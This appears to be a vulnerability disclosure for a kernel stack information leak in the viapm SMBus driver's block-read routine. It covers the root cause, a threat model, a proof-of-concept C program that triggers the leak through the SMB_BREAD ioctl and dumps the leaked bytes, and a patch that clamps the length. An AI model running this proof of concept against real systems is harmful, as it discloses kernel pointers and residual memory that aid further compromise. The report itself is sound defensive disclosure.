Summary

viasmb_bread reads the block-transfer length directly from the SMBHDATA0 hardware register into len (0-255, untrusted) and then unconditionally stores *count = len, even though the fill loop only wrote min(len, original_*count) <= 32 bytes into the caller's buffer.

Callers that trust the returned count (notably the /dev/smb* SMB_BREAD ioctl) will copyout uninitialized on-stack kernel memory to userspace whenever the device-supplied length exceeds the caller's input capacity. This is a kernel stack info leak reachable by root through the standard smbus(4) device.

Root cause

At viapm.c:852 the driver does:

len = VIAPM_INB(SMBHDATA0);

taking the device-reported block length with no bounds check. The fill loop at viapm.c:856-861 correctly writes buf[i] only when i < *count (and *count was validated <= 32 at viapm.c:838), so buf is populated for at most min(len, *count) <= 32 indices.

But viapm.c:862 then executes:

*count = len;

— exporting the raw untrusted hardware byte (up to 255) as the number of bytes delivered.

Contrast intsmb_bread (intpm.c:859-861) which gates *count = nread behind nread != 0 && nread <= SMBBLOCKTRANS_MAX — the validation viapm omits.

Through smbioctl SMB_BREAD (smb.c:318-330) the caller passes an uninitialized u_char bcount (smb.c:217, never assigned before the call at smb.c:323) as the in/out count; viapm's entry check at viapm.c:838 then gates on that garbage value.

smbioctl subsequently does:

if (s->rcount > bcount) s->rcount = bcount;
copyout(buf, s->rbuf, s->rcount);

(smb.c:327-329), copying up to min(original s->rcount, returned len) bytes from the 1024-byte stack buffer buf — of which indices [garbage_bcount .. min(s->rcount, len)-1] were never written by viapm and retain residual kernel stack contents.

Threat model

Attacker position: any process that can open /dev/smb0 (mode 0600 root:wheel per smb.c:139-140, so uid 0 — relevant for jail/container breakout if the node is exposed, setuid confused-deputy, or kernel-internal callers like smb_acpi sensor polling).

Required hardware: a VIA VT82C596B/686A/8233/8235 SMBus controller (viapropm auto-attached on PCI devid match). The malicious-length trigger can come from any SMBus peripheral on the bus (SPD EEPROM, thermal sensor, battery gauge, USB-C/PD controller, or a Thunderbolt/PCIe-hotplug-bridged device) that responds with len > 32.

Impact: per ioctl, up to (returned_len - bytes_actually_written) bytes of uninitialized kernel stack are disclosed to userspace; by priming the kernel stack with credential/pointer-leaving syscalls beforehand, an attacker can harvest kernel pointers and residual data not otherwise readable. No integrity or availability impact.

PoC

findings/poc/DF-1691/:

#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include "smb.h"            /* struct smbcmd, SMB_BREAD from sys/dev/smbus/smb/smb.h */
#include <string.h>
#include <stdio.h>

int main(void) {
    int fd = open("/dev/smb0", O_RDWR);
    if (fd < 0) { perror("open /dev/smb0"); return 1; }

    /* Prime the kernel stack so the uninitialized `bcount` in
     * smbioctl lands inside viapm's [1,32] acceptance window and
     * so residual frames carry interesting data. */
    for (int i = 0; i < 64; i++) {
        struct smbcmd junk = { .slave = 0x50, .cmd = 0x00 };
        ioctl(fd, SMB_READB, &junk);   /* lays down stack frames */
    }

    char out[256];
    struct smbcmd c;
    memset(&c, 0, sizeof c);
    c.slave = 0x50;          /* SPD EEPROM or any present slave */
    c.cmd   = 0x00;
    c.rbuf  = out;
    c.rcount = 255;          /* ask for the max the ioctl allows */

    if (ioctl(fd, SMB_BREAD, &c) == 0) {
        /* c.rcount = min(255, hardware-reported len).
         * Bytes [garbage_bcount .. c.rcount-1] of the kernel's
         * 1024-byte stack buffer were never initialized by viapm. */
        write(1, out, c.rcount);
        fprintf(stderr, "got %d bytes\n", c.rcount);
    }
    close(fd);
    return 0;
}

Build: cc -O2 -o viasmb_leak viasmb_leak.c -I/path/to/sys (with smb.h from sys/dev/smbus/smb/smb.h on the include path).

Success criterion: the dumped bytes contain non-zero residual data (kernel pointers, ASCII fragments, credential bytes) that vary across runs and differ from the legitimate SMBus payload.

Repeating in a loop and diffing against a known-zero baseline confirms the leak. On systems without VIA SMBus hardware the driver does not attach and /dev/smb0 is absent; the bug is hardware-gated to viapropm systems.

Recommended fix

Clamp the untrusted hardware length to the SMBus 2.0 maximum of 32, and only report the count of bytes actually written to buf. This mirrors intsmb_bread (intpm.c:860) which validates nread against SMBBLOCKTRANS_MAX before trusting it.

--- a/sys/dev/powermng/viapm/viapm.c
+++ b/sys/dev/powermng/viapm/viapm.c
@@ -850,11 +850,19 @@ viasmb_bread(device_t dev, u_char slave, char cmd, u_char *count, char *buf)
        goto error;

    len = VIAPM_INB(SMBHDATA0);
-   i = VIAPM_INB(SMBHCTRL);        /* reset counter */
+   i = VIAPM_INB(SMBHCTRL);    /* reset counter */
+
+   /*
+    * The device-supplied block length is untrusted.  SMBus 2.0 caps
+    * block transfers at 32 bytes; clamp before using it so a malicious
+    * or buggy slave cannot drive the loop or the returned count past
+    * the caller's buffer capacity.
+    */
+   if (len > 32)
+       len = 32;

    /* read the 32-byte internal buffer */
    for (i = 0; i < len; i++) {
        data = VIAPM_INB(SMBHBLOCK);
-       if (i < *count)
+       if (i < *count)
            buf[i] = data;
        DELAY(2);
    }
+   /* Report only the bytes actually written to buf. */
+   if (len > *count)
+       len = *count;
    *count = len;

 error: